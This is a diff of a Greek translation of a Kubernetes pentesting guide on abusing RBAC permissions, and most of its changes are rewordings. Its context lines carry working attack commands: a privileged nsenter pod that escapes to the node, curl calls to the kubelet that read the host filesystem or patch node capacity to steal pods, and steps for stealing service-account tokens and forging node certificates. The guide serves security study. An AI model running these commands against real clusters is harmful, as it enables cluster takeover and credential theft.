Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md

@@ -10,7 +10,7 @@
 Αναφερόμενος ως η τέχνη του να αποκτάς **πρόσβαση σε έναν διαφορετικό κύριο** μέσα στο cluster **με διαφορετικά προνόμια** (μέσα στο kubernetes cluster ή σε εξωτερικά νέφη) από αυτά που ήδη έχετε, στο Kubernetes υπάρχουν βασικά **4 κύριες τεχνικές για την κλιμάκωση προνομίων**:
 
 - Να είστε σε θέση να **παριστάνετε** άλλους χρήστες/ομάδες/SAs με καλύτερα προνόμια μέσα στο kubernetes cluster ή σε εξωτερικά νέφη
-- Να είστε σε θέση να **δημιουργείτε/τροποποιείτε/εκτελείτε pods** όπου μπορείτε να **βρείτε ή να συνδέσετε SAs** με καλύτερα προνόμια μέσα στο kubernetes cluster ή σε εξωτερικά νέφη
+- Να είστε σε θέση να **δημιουργείτε/διορθώνετε/εκτελείτε pods** όπου μπορείτε να **βρείτε ή να συνδέσετε SAs** με καλύτερα προνόμια μέσα στο kubernetes cluster ή σε εξωτερικά νέφη
 - Να είστε σε θέση να **διαβάζετε μυστικά** καθώς τα tokens των SAs αποθηκεύονται ως μυστικά
 - Να είστε σε θέση να **διαφύγετε στον κόμβο** από ένα κοντέινερ, όπου μπορείτε να κλέψετε όλα τα μυστικά των κοντέινερ που εκτελούνται στον κόμβο, τα διαπιστευτήρια του κόμβου και τα δικαιώματα του κόμβου μέσα στο νέφος στο οποίο εκτελείται (αν υπάρχει)
 - Μια πέμπτη τεχνική που αξίζει να αναφερθεί είναι η ικανότητα να **τρέχετε port-forward** σε ένα pod, καθώς μπορεί να είστε σε θέση να αποκτήσετε πρόσβαση σε ενδιαφέροντες πόρους μέσα σε αυτό το pod.
@@ -33,7 +33,7 @@ verbs: ["*"]
 
 Στο RBAC, ορισμένες άδειες ενέχουν σημαντικούς κινδύνους:
 
-1. **`create`:** Δίνει τη δυνατότητα δημιουργίας οποιουδήποτε πόρου κλάστερ, θέτοντας σε κίνδυνο την κλιμάκωση προνομίων.
+1. **`create`:** Δίνει τη δυνατότητα δημιουργίας οποιουδήποτε πόρου κλάσης, θέτοντας σε κίνδυνο την κλιμάκωση προνομίων.
 2. **`list`:** Επιτρέπει την καταγραφή όλων των πόρων, ενδεχομένως διαρρέοντας ευαίσθητα δεδομένα.
 3. **`get`:** Επιτρέπει την πρόσβαση σε μυστικά από λογαριασμούς υπηρεσιών, θέτοντας σε κίνδυνο την ασφάλεια.
 ```yaml
@@ -74,11 +74,11 @@ hostNetwork: true
 ```
 ### Pod Create & Escape
 
-Τα παρακάτω υποδεικνύουν όλα τα προνόμια που μπορεί να έχει ένα κοντέινερ:
+Τα παρακάτω υποδεικνύουν όλα τα δικαιώματα που μπορεί να έχει ένα κοντέινερ:
 
 - **Privileged access** (απενεργοποίηση προστασιών και ρύθμιση ικανοτήτων)
-- **Disable namespaces hostIPC and hostPid** που μπορούν να βοηθήσουν στην κλιμάκωση προνομίων
-- **Disable hostNetwork** namespace, δίνοντας πρόσβαση για κλοπή προνομίων cloud των κόμβων και καλύτερη πρόσβαση σε δίκτυα
+- **Disable namespaces hostIPC and hostPid** που μπορούν να βοηθήσουν στην κλιμάκωση δικαιωμάτων
+- **Disable hostNetwork** namespace, δίνοντας πρόσβαση για κλοπή των δικαιωμάτων cloud των κόμβων και καλύτερη πρόσβαση σε δίκτυα
 - **Mount hosts / inside the container**
 ```yaml:super_privs.yaml
 apiVersion: v1
@@ -123,9 +123,11 @@ kubectl --token $token create -f mount_root.yaml
 ```bash
 kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
 ```
+Τώρα που μπορείτε να διαφύγετε στον κόμβο, ελέγξτε τις τεχνικές μετα-εκμετάλλευσης στο:
+
 #### Stealth
 
-Θα θέλατε πιθανώς να είστε **πιο διακριτικοί**, στις επόμενες σελίδες μπορείτε να δείτε τι θα μπορούσατε να έχετε πρόσβαση αν δημιουργήσετε ένα pod ενεργοποιώντας μόνο ορισμένα από τα αναφερόμενα δικαιώματα στο προηγούμενο πρότυπο:
+Πιθανώς θέλετε να είστε **πιο διακριτικοί**, στις επόμενες σελίδες μπορείτε να δείτε τι θα μπορούσατε να έχετε πρόσβαση αν δημιουργήσετε ένα pod ενεργοποιώντας μόνο ορισμένα από τα αναφερόμενα δικαιώματα στο προηγούμενο πρότυπο:
 
 - **Privileged + hostPID**
 - **Privileged μόνο**
@@ -134,12 +136,12 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
 - **hostNetwork**
 - **hostIPC**
 
-_Μπορείτε να βρείτε παράδειγμα για το πώς να δημιουργήσετε/καταχραστείτε τις προηγούμενες ρυθμίσεις privileged pods στο_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
+_Μπορείτε να βρείτε παράδειγμα για το πώς να δημιουργήσετε/εκμεταλλευτείτε τις προηγούμενες ρυθμίσεις privileged pods στο_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
 
 ### Pod Create - Move to cloud
 
-Αν μπορείτε να **δημιουργήσετε** ένα **pod** (και προαιρετικά έναν **λογαριασμό υπηρεσίας**) μπορεί να είστε σε θέση να **αποκτήσετε δικαιώματα σε περιβάλλον cloud** με το **να αναθέσετε ρόλους cloud σε ένα pod ή σε έναν λογαριασμό υπηρεσίας** και στη συνέχεια να έχετε πρόσβαση σε αυτό.\
-Επιπλέον, αν μπορείτε να δημιουργήσετε ένα **pod με το namespace δικτύου του host** μπορείτε να **κλέψετε τον ρόλο IAM** της **περίπτωσης** του **node**.
+Αν μπορείτε να **δημιουργήσετε** ένα **pod** (και προαιρετικά έναν **λογαριασμό υπηρεσίας**) μπορεί να είστε σε θέση να **αποκτήσετε δικαιώματα σε περιβάλλον cloud** αναθέτοντας **cloud roles σε ένα pod ή έναν λογαριασμό υπηρεσίας** και στη συνέχεια να έχετε πρόσβαση σε αυτό.\
+Επιπλέον, αν μπορείτε να δημιουργήσετε ένα **pod με το namespace δικτύου του host**, μπορείτε να **κλέψετε τον ρόλο IAM** της **περίπτωσης** του **κόμβου**.
 
 Για περισσότερες πληροφορίες ελέγξτε:
 
@@ -149,7 +151,7 @@ pod-escape-privileges.md
 
 ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
 
-Είναι δυνατόν να καταχραστείτε αυτές τις άδειες για να **δημιουργήσετε ένα νέο pod** και να αποκτήσετε δικαιώματα όπως στο προηγούμενο παράδειγμα.
+Είναι δυνατόν να εκμεταλλευτείτε αυτές τις άδειες για να **δημιουργήσετε ένα νέο pod** και να αποκτήσετε δικαιώματα όπως στο προηγούμενο παράδειγμα.
 
 Το παρακάτω yaml **δημιουργεί ένα daemonset και εξάγει το token του SA** μέσα στο pod:
 ```yaml
@@ -202,7 +204,7 @@ kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
 
 ### port-forward
 
-Αυτή η άδεια επιτρέπει να **προωθήσετε μία τοπική θύρα σε μία θύρα στο καθορισμένο pod**. Αυτό προορίζεται για να μπορείτε να αποσφαλίσετε εφαρμογές που εκτελούνται μέσα σε ένα pod εύκολα, αλλά ένας επιτιθέμενος θα μπορούσε να το καταχραστεί για να αποκτήσει πρόσβαση σε ενδιαφέρουσες (όπως DBs) ή ευάλωτες εφαρμογές (ιστοσελίδες;) μέσα σε ένα pod:
+Αυτή η άδεια επιτρέπει να **προωθήσετε μία τοπική θύρα σε μία θύρα στο καθορισμένο pod**. Αυτό προορίζεται για να μπορείτε να αποσφαλίσετε εφαρμογές που εκτελούνται μέσα σε ένα pod εύκολα, αλλά ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να αποκτήσει πρόσβαση σε ενδιαφέρουσες (όπως DBs) ή ευάλωτες εφαρμογές (ιστοσελίδες;) μέσα σε ένα pod:
 ```bash
 kubectl port-forward pod/mypod 5000:5000
 ```
@@ -222,7 +224,7 @@ kubectl logs escaper --tail=2
 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
 # Keep incrementing tail to exfiltrate the whole file
 ```
-- Αν ο επιτιθέμενος ελέγχει οποιοδήποτε κύριο με **δικαιώματα να διαβάσει `nodes/log`**, μπορεί απλά να δημιουργήσει ένα **symlink** στο `/host-mounted/var/log/sym` προς το `/` και όταν **πρόσβαση στο `https://<gateway>:10250/logs/sym/` θα καταγράψει το ριζικό** σύστημα αρχείων των hosts (η αλλαγή του symlink μπορεί να παρέχει πρόσβαση σε αρχεία).
+- Αν ο επιτιθέμενος ελέγχει οποιονδήποτε κύριο με **δικαιώματα να διαβάσει `nodes/log`**, μπορεί απλά να δημιουργήσει ένα **symlink** στο `/host-mounted/var/log/sym` προς το `/` και όταν **πρόσβαση στο `https://<gateway>:10250/logs/sym/` θα καταγράψει το ριζικό** σύστημα αρχείων των hosts (η αλλαγή του symlink μπορεί να παρέχει πρόσβαση σε αρχεία).
 ```bash
 curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
 <a href="bin">bin</a>
@@ -236,7 +238,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
 ```
 **Ένα εργαστήριο και μια αυτοματοποιημένη εκμετάλλευση μπορούν να βρεθούν στο** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
 
-#### Παράκαμψη προστασίας readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
+#### Παράκαμψη της προστασίας readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
 
 Αν είστε αρκετά τυχεροί και η πολύ προνομιακή δυνατότητα `CAP_SYS_ADMIN` είναι διαθέσιμη, μπορείτε απλά να ξανατοποθετήσετε τον φάκελο ως rw:
 ```bash
@@ -250,7 +252,7 @@ allowedHostPaths:
 - pathPrefix: "/foo"
 readOnly: true
 ```
-Που προοριζόταν να αποτρέψει τις διαρροές όπως οι προηγούμενες, χρησιμοποιώντας αντί για hostPath mount, ένα PersistentVolume και ένα PersistentVolumeClaim για να τοποθετήσει έναν φάκελο του host στο κοντέινερ με δικαιώματα εγγραφής:
+Που προοριζόταν να αποτρέψει τις διαρροές όπως οι προηγούμενες, χρησιμοποιώντας, αντί για hostPath mount, ένα PersistentVolume και ένα PersistentVolumeClaim για να τοποθετήσει έναν φάκελο του host στο κοντέινερ με δικαιώματα εγγραφής:
 ```yaml
 apiVersion: v1
 kind: PersistentVolume
@@ -298,7 +300,7 @@ name: task-pv-storage-vol
 ```
 ### **Υποκατάσταση προνομιακών λογαριασμών**
 
-Με ένα [**προνόμιο υποκατάστασης χρήστη**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), ένας επιτιθέμενος θα μπορούσε να υποκαταστήσει έναν προνομιακό λογαριασμό.
+Με ένα [**δικαίωμα υποκατάστασης χρήστη**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), ένας επιτιθέμενος θα μπορούσε να υποκαταστήσει έναν προνομιακό λογαριασμό.
 
 Απλά χρησιμοποιήστε την παράμετρο `--as=<username>` στην εντολή `kubectl` για να υποκαταστήσετε έναν χρήστη, ή `--as-group=<group>` για να υποκαταστήσετε μια ομάδα:
 ```bash
@@ -380,21 +382,80 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
 "type": "kubernetes.io/service-account-token"
 }
 ```
-Σημειώστε ότι αν έχετε άδεια να δημιουργείτε και να διαβάζετε μυστικά σε ένα συγκεκριμένο namespace, ο λογαριασμός υπηρεσίας του θύματος πρέπει επίσης να βρίσκεται σε αυτό το ίδιο namespace.
+Σημειώστε ότι αν σας επιτρέπεται να δημιουργείτε και να διαβάζετε μυστικά σε ένα συγκεκριμένο namespace, ο λογαριασμός υπηρεσίας του θύματος πρέπει επίσης να βρίσκεται σε αυτό το ίδιο namespace.
 
 ### Ανάγνωση ενός μυστικού – βίαιη επίθεση σε αναγνωριστικά token
 
 Ενώ ένας επιτιθέμενος που κατέχει ένα token με δικαιώματα ανάγνωσης απαιτεί το ακριβές όνομα του μυστικού για να το χρησιμοποιήσει, σε αντίθεση με το ευρύτερο προνόμιο _**καταγραφής μυστικών**_, υπάρχουν ακόμα ευπάθειες. Οι προεπιλεγμένοι λογαριασμοί υπηρεσίας στο σύστημα μπορούν να καταμετρηθούν, καθένας από τους οποίους σχετίζεται με ένα μυστικό. Αυτά τα μυστικά έχουν μια δομή ονόματος: ένα στατικό πρόθεμα ακολουθούμενο από έναν τυχαίο αλφαριθμητικό token πέντε χαρακτήρων (εξαιρουμένων ορισμένων χαρακτήρων) σύμφωνα με τον [κώδικα πηγής](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
 
-Το token παράγεται από ένα περιορισμένο σύνολο 27 χαρακτήρων (`bcdfghjklmnpqrstvwxz2456789`), αντί για το πλήρες αλφαριθμητικό εύρος. Αυτός ο περιορισμός μειώνει τον συνολικό δυνατό αριθμό συνδυασμών σε 14,348,907 (27^5). Ως εκ τούτου, ένας επιτιθέμενος θα μπορούσε να εκτελέσει μια βίαιη επίθεση για να deduce το token μέσα σε λίγες ώρες, ενδεχομένως οδηγώντας σε κλιμάκωση προνομίων μέσω της πρόσβασης σε ευαίσθητους λογαριασμούς υπηρεσίας.
+Το token παράγεται από ένα περιορισμένο σύνολο 27 χαρακτήρων (`bcdfghjklmnpqrstvwxz2456789`), αντί για το πλήρες αλφαριθμητικό εύρος. Αυτός ο περιορισμός μειώνει τον συνολικό δυνατό αριθμό συνδυασμών σε 14,348,907 (27^5). Κατά συνέπεια, ένας επιτιθέμενος θα μπορούσε να εκτελέσει μια βίαιη επίθεση για να deduce το token μέσα σε λίγες ώρες, ενδεχομένως οδηγώντας σε κλιμάκωση προνομίων μέσω της πρόσβασης σε ευαίσθητους λογαριασμούς υπηρεσίας.
 
-### Αιτήματα Υπογραφής Πιστοποιητικών
+### EncrpytionConfiguration σε καθαρό κείμενο
+
+Είναι δυνατόν να βρείτε κλειδιά σε καθαρό κείμενο για την κρυπτογράφηση δεδομένων σε κατάσταση ηρεμίας σε αυτόν τον τύπο αντικειμένου όπως:
+```yaml
+# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
+
+#
+# CAUTION: this is an example configuration.
+#          Do not use this for your own cluster!
+#
+
+apiVersion: apiserver.config.k8s.io/v1
+kind: EncryptionConfiguration
+resources:
+- resources:
+- secrets
+- configmaps
+- pandas.awesome.bears.example # a custom resource API
+providers:
+# This configuration does not provide data confidentiality. The first
+# configured provider is specifying the "identity" mechanism, which
+# stores resources as plain text.
+#
+- identity: {} # plain text, in other words NO encryption
+- aesgcm:
+keys:
+- name: key1
+secret: c2VjcmV0IGlzIHNlY3VyZQ==
+- name: key2
+secret: dGhpcyBpcyBwYXNzd29yZA==
+- aescbc:
+keys:
+- name: key1
+secret: c2VjcmV0IGlzIHNlY3VyZQ==
+- name: key2
+secret: dGhpcyBpcyBwYXNzd29yZA==
+- secretbox:
+keys:
+- name: key1
+secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
+- resources:
+- events
+providers:
+- identity: {} # do not encrypt Events even though *.* is specified below
+- resources:
+- '*.apps' # wildcard match requires Kubernetes 1.27 or later
+providers:
+- aescbc:
+keys:
+- name: key2
+secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
+- resources:
+- '*.*' # wildcard match requires Kubernetes 1.27 or later
+providers:
+- aescbc:
+keys:
+- name: key3
+secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
+```
+### Certificate Signing Requests
 
 Αν έχετε τα ρήματα **`create`** στον πόρο `certificatesigningrequests` (ή τουλάχιστον στο `certificatesigningrequests/nodeClient`). Μπορείτε να **δημιουργήσετε** ένα νέο CeSR ενός **νέου κόμβου.**
 
-Σύμφωνα με την [τεκμηρίωση είναι δυνατή η αυτόματη έγκριση αυτών των αιτημάτων](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), οπότε σε αυτή την περίπτωση **δεν χρειάζεστε επιπλέον δικαιώματα**. Αν όχι, θα χρειαστεί να μπορείτε να εγκρίνετε το αίτημα, που σημαίνει ενημέρωση στο `certificatesigningrequests/approval` και `approve` στο `signers` με resourceName `<signerNameDomain>/<signerNamePath>` ή `<signerNameDomain>/*`
+Σύμφωνα με την [τεκμηρίωση είναι δυνατόν να εγκρίνετε αυτόματα αυτές τις αιτήσεις](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), οπότε σε αυτή την περίπτωση **δεν χρειάζεστε επιπλέον άδειες**. Αν όχι, θα πρέπει να μπορείτε να εγκρίνετε την αίτηση, που σημαίνει ενημέρωση στο `certificatesigningrequests/approval` και `approve` στο `signers` με resourceName `<signerNameDomain>/<signerNamePath>` ή `<signerNameDomain>/*`
 
-Ένα **παράδειγμα ρόλου** με όλα τα απαιτούμενα δικαιώματα είναι:
+Ένα **παράδειγμα ρόλου** με όλες τις απαιτούμενες άδειες είναι:
 ```yaml
 apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
@@ -425,9 +486,9 @@ resourceNames:
 verbs:
 - approve
 ```
-Έτσι, με την έγκριση του νέου CSR κόμβου, μπορείτε να **καταχραστείτε** τις ειδικές άδειες των κόμβων για να **κλέψετε μυστικά** και να **αναβαθμίσετε προνόμια**.
+Έτσι, με την έγκριση του νέου CSR κόμβου, μπορείτε να **καταχραστείτε** τις ειδικές άδειες των κόμβων για να **κλέψετε μυστικά** και να **κλιμακώσετε προνόμια**.
 
-Στο [**αυτό το άρθρο**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) και [**σε αυτό**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) η διαμόρφωση TLS Bootstrap του GKE K8s είναι ρυθμισμένη με **αυτόματη υπογραφή** και καταχράται για να δημιουργήσει διαπιστευτήρια ενός νέου κόμβου K8s και στη συνέχεια να τα καταχραστεί για να αναβαθμίσει προνόμια κλέβοντας μυστικά.\
+Στο [**αυτό το άρθρο**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) και [**σε αυτό**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) η διαμόρφωση TLS Bootstrap του GKE K8s είναι ρυθμισμένη με **αυτόματη υπογραφή** και καταχράται για να δημιουργήσει διαπιστευτήρια ενός νέου κόμβου K8s και στη συνέχεια να τα καταχραστεί για να κλιμακώσει προνόμια κλέβοντας μυστικά.\
 Αν **έχετε τα αναφερόμενα προνόμια, μπορείτε να κάνετε το ίδιο**. Σημειώστε ότι το πρώτο παράδειγμα παρακάμπτει το σφάλμα που εμποδίζει έναν νέο κόμβο να έχει πρόσβαση σε μυστικά μέσα σε κοντέινερ, επειδή ένας **κόμβος μπορεί να έχει πρόσβαση μόνο στα μυστικά των κοντέινερ που είναι τοποθετημένα σε αυτόν.**
 
 Ο τρόπος για να παρακάμψετε αυτό είναι απλώς να **δημιουργήσετε διαπιστευτήρια κόμβου για το όνομα του κόμβου όπου είναι τοποθετημένο το κοντέινερ με τα ενδιαφέροντα μυστικά** (αλλά απλώς ελέγξτε πώς να το κάνετε στο πρώτο άρθρο):
@@ -527,8 +588,8 @@ loadbalance
 Υπάρχουν **2 τρόποι για να ανατεθούν δικαιώματα K8s σε GCP principals**. Σε κάθε περίπτωση, ο principal χρειάζεται επίσης την άδεια **`container.clusters.get`** για να μπορέσει να συγκεντρώσει διαπιστευτήρια για να έχει πρόσβαση στο cluster, αλλιώς θα χρειαστεί να **δημιουργήσει το δικό του αρχείο ρυθμίσεων kubectl** (ακολουθήστε τον επόμενο σύνδεσμο).
 
 > [!WARNING]
-> Όταν μιλάτε με το K8s api endpoint, το **GCP auth token θα σταλεί**. Στη συνέχεια, το GCP, μέσω του K8s api endpoint, θα ελέγξει πρώτα αν ο **principal** (με email) **έχει πρόσβαση μέσα στο cluster**, και μετά θα ελέγξει αν έχει **οποιαδήποτε πρόσβαση μέσω GCP IAM**.\
-> Αν **οποιοδήποτε** από αυτά είναι **αληθινό**, θα **απαντηθεί**. Αν **όχι**, θα δοθεί ένα **σφάλμα** που προτείνει να δοθούν **δικαιώματα μέσω GCP IAM**.
+> Όταν μιλάτε με το K8s api endpoint, το **GCP auth token θα σταλεί**. Στη συνέχεια, το GCP, μέσω του K8s api endpoint, θα ελέγξει πρώτα αν ο **principal** (με email) **έχει οποιαδήποτε πρόσβαση μέσα στο cluster**, και μετά θα ελέγξει αν έχει **οποιαδήποτε πρόσβαση μέσω GCP IAM**.\
+> Αν **οποιοδήποτε** από αυτά είναι **αληθές**, θα **απαντηθεί**. Αν **όχι**, θα δοθεί ένα **σφάλμα** που προτείνει να δοθούν **δικαιώματα μέσω GCP IAM**.
 
 Στη συνέχεια, η πρώτη μέθοδος είναι η χρήση **GCP IAM**, τα δικαιώματα K8s έχουν τα **ισοδύναμα δικαιώματα GCP IAM**, και αν ο principal τα έχει, θα μπορεί να τα χρησιμοποιήσει.
 
@@ -569,7 +630,7 @@ Principals με πρόσβαση στο **`nodes/proxy`** υποπόρο μπο
 
 ### Delete pods + unschedulable nodes
 
-Principals που μπορούν να **διαγράψουν pods** (`delete` ρήμα πάνω σε `pods` πόρο), ή **να εκδιώξουν pods** (`create` ρήμα πάνω σε `pods/eviction` πόρο), ή **να αλλάξουν την κατάσταση του pod** (πρόσβαση σε `pods/status`) και μπορούν **να κάνουν άλλα nodes unschedulable** (πρόσβαση σε `nodes/status`) ή **να διαγράψουν nodes** (`delete` ρήμα πάνω σε `nodes` πόρο) και έχουν έλεγχο πάνω σε ένα pod, θα μπορούσαν να **κλέψουν pods από άλλα nodes** ώστε να **εκτελούνται** στο **συμβιβασμένο** **node** και ο επιτιθέμενος μπορεί να **κλέψει τους tokens** από αυτά τα pods.
+Principals που μπορούν να **διαγράψουν pods** (`delete` ρήμα πάνω σε `pods` πόρο), ή **να εκδιώξουν pods** (`create` ρήμα πάνω σε `pods/eviction` πόρο), ή **να αλλάξουν την κατάσταση του pod** (πρόσβαση σε `pods/status`) και μπορούν **να κάνουν άλλους κόμβους μη προγραμματίσιμους** (πρόσβαση σε `nodes/status`) ή **να διαγράψουν κόμβους** (`delete` ρήμα πάνω σε `nodes` πόρο) και έχουν έλεγχο σε ένα pod, θα μπορούσαν να **κλέψουν pods από άλλους κόμβους** ώστε να **εκτελούνται** στον **συμβιβασμένο** **κόμβο** και ο επιτιθέμενος μπορεί να **κλέψει τους τόκενς** από αυτά τα pods.
 ```bash
 patch_node_capacity(){
 curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -582,11 +643,11 @@ kubectl delete pods -n kube-system <privileged_pod_name>
 ```
 ### Κατάσταση Υπηρεσιών (CVE-2020-8554)
 
-Οι κύριοι που μπορούν να **τροποποιήσουν** **`services/status`** μπορεί να ρυθμίσουν το πεδίο `status.loadBalancer.ingress.ip` για να εκμεταλλευτούν το **μη διορθωμένο CVE-2020-8554** και να ξεκινήσουν **MiTM επιθέσεις κατά του cluster**. Οι περισσότερες μετρήσεις για το CVE-2020-8554 αποτρέπουν μόνο τις υπηρεσίες ExternalIP (σύμφωνα με [**αυτό**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
+Οι Principals που μπορούν να **τροποποιήσουν** **`services/status`** μπορεί να ρυθμίσουν το πεδίο `status.loadBalancer.ingress.ip` για να εκμεταλλευτούν το **μη διορθωμένο CVE-2020-8554** και να ξεκινήσουν **MiTM επιθέσεις κατά του κλάστερ**. Οι περισσότερες μετρήσεις για το CVE-2020-8554 αποτρέπουν μόνο τις υπηρεσίες ExternalIP (σύμφωνα με [**αυτό**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
 
 ### Κατάσταση Κόμβων και Pods
 
-Οι κύριοι με **`update`** ή **`patch`** δικαιώματα πάνω σε `nodes/status` ή `pods/status`, θα μπορούσαν να τροποποιήσουν ετικέτες για να επηρεάσουν τους περιορισμούς προγραμματισμού που επιβάλλονται.
+Οι Principals με **`update`** ή **`patch`** δικαιώματα πάνω σε `nodes/status` ή `pods/status`, θα μπορούσαν να τροποποιήσουν τις ετικέτες για να επηρεάσουν τους περιορισμούς προγραμματισμού που επιβάλλονται.
 
 ## Ενσωματωμένη Πρόληψη Κλιμάκωσης Προνομίων
 
@@ -594,15 +655,15 @@ kubectl delete pods -n kube-system <privileged_pod_name>
 
 Αυτό το σύστημα διασφαλίζει ότι **οι χρήστες δεν μπορούν να αυξήσουν τα προνόμιά τους τροποποιώντας ρόλους ή δεσμεύσεις ρόλων**. Η επιβολή αυτού του κανόνα συμβαίνει σε επίπεδο API, παρέχοντας μια προστασία ακόμη και όταν ο RBAC authorizer είναι ανενεργός.
 
-Ο κανόνας stipulates ότι ένας **χρήστης μπορεί να δημιουργήσει ή να ενημερώσει έναν ρόλο μόνο εάν κατέχει όλα τα δικαιώματα που περιλαμβάνει ο ρόλος**. Επιπλέον, το πεδίο των υπαρχόντων δικαιωμάτων του χρήστη πρέπει να ευθυγραμμίζεται με αυτό του ρόλου που προσπαθεί να δημιουργήσει ή να τροποποιήσει: είτε σε επίπεδο cluster για ClusterRoles είτε περιορισμένο στο ίδιο namespace (ή σε επίπεδο cluster) για Roles.
+Ο κανόνας stipulates ότι ένας **χρήστης μπορεί να δημιουργήσει ή να ενημερώσει έναν ρόλο μόνο εάν κατέχει όλα τα δικαιώματα που περιλαμβάνει ο ρόλος**. Επιπλέον, το εύρος των υπαρχόντων δικαιωμάτων του χρήστη πρέπει να ευθυγραμμίζεται με αυτό του ρόλου που προσπαθεί να δημιουργήσει ή να τροποποιήσει: είτε σε επίπεδο κλάστερ για ClusterRoles είτε περιορισμένο στην ίδια namespace (ή σε επίπεδο κλάστερ) για Roles.
 
 > [!WARNING]
-> Υπάρχει μια εξαίρεση στον προηγούμενο κανόνα. Εάν ένας κύριος έχει το **ρήμα `escalate`** πάνω σε **`roles`** ή **`clusterroles`** μπορεί να αυξήσει τα προνόμια των ρόλων και των clusterroles ακόμη και χωρίς να έχει τα δικαιώματα ο ίδιος.
+> Υπάρχει μια εξαίρεση στον προηγούμενο κανόνα. Εάν ένας principal έχει το **ρήμα `escalate`** πάνω σε **`roles`** ή **`clusterroles`** μπορεί να αυξήσει τα προνόμια των ρόλων και των clusterroles ακόμη και χωρίς να έχει τα δικαιώματα ο ίδιος.
 
 ### **Λάβετε & Ενημερώστε RoleBindings/ClusterRoleBindings**
 
 > [!CAUTION]
-> **Φαίνεται ότι αυτή η τεχνική λειτουργούσε πριν, αλλά σύμφωνα με τις δοκιμές μου δεν λειτουργεί πια για τον ίδιο λόγο που εξηγήθηκε στην προηγούμενη ενότητα. Δεν μπορείτε να δημιουργήσετε/τροποποιήσετε μια rolebinding για να δώσετε στον εαυτό σας ή σε έναν διαφορετικό SA κάποια προνόμια αν δεν έχετε ήδη.**
+> **Φαίνεται ότι αυτή η τεχνική δούλευε πριν, αλλά σύμφωνα με τις δοκιμές μου δεν λειτουργεί πια για τον ίδιο λόγο που εξηγήθηκε στην προηγούμενη ενότητα. Δεν μπορείτε να δημιουργήσετε/τροποποιήσετε ένα rolebinding για να δώσετε στον εαυτό σας ή σε έναν διαφορετικό SA κάποια προνόμια αν δεν έχετε ήδη.**
 
 Το προνόμιο να δημιουργήσετε Rolebindings επιτρέπει σε έναν χρήστη να **δεσμεύσει ρόλους σε έναν λογαριασμό υπηρεσίας**. Αυτό το προνόμιο μπορεί δυνητικά να οδηγήσει σε κλιμάκωση προνομίων επειδή **επιτρέπει στον χρήστη να δεσμεύσει προνόμια διαχειριστή σε έναν συμβιβασμένο λογαριασμό υπηρεσίας.**
 
@@ -626,15 +687,15 @@ image: nginx
 image: busybox
 command: ["sh","-c","<execute something in the same pod but different container>"]
 ```
-Για παράδειγμα, για να προσθέσετε ένα backdoor σε ένα υπάρχον pod με ένα νέο container, μπορείτε απλά να προσθέσετε ένα νέο container στην προδιαγραφή. Σημειώστε ότι μπορείτε να **δώσετε περισσότερες άδειες** στο δεύτερο container που δεν θα έχει το πρώτο.
+Για παράδειγμα, για να προσθέσετε ένα backdoor σε ένα υπάρχον pod με ένα νέο container, μπορείτε απλώς να προσθέσετε ένα νέο container στην προδιαγραφή. Σημειώστε ότι μπορείτε να **δώσετε περισσότερες άδειες** στο δεύτερο container που δεν θα έχει το πρώτο.
 
 Περισσότερες πληροφορίες στο: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
 
 ### Κακόβουλος Ελεγκτής Εισόδου
 
-Ένας ελεγκτής εισόδου **παρεμβαίνει σε αιτήματα προς τον διακομιστή API του Kubernetes** πριν από την αποθήκευση του αντικειμένου, αλλά **μετά την πιστοποίηση του αιτήματος** **και την εξουσιοδότηση**.
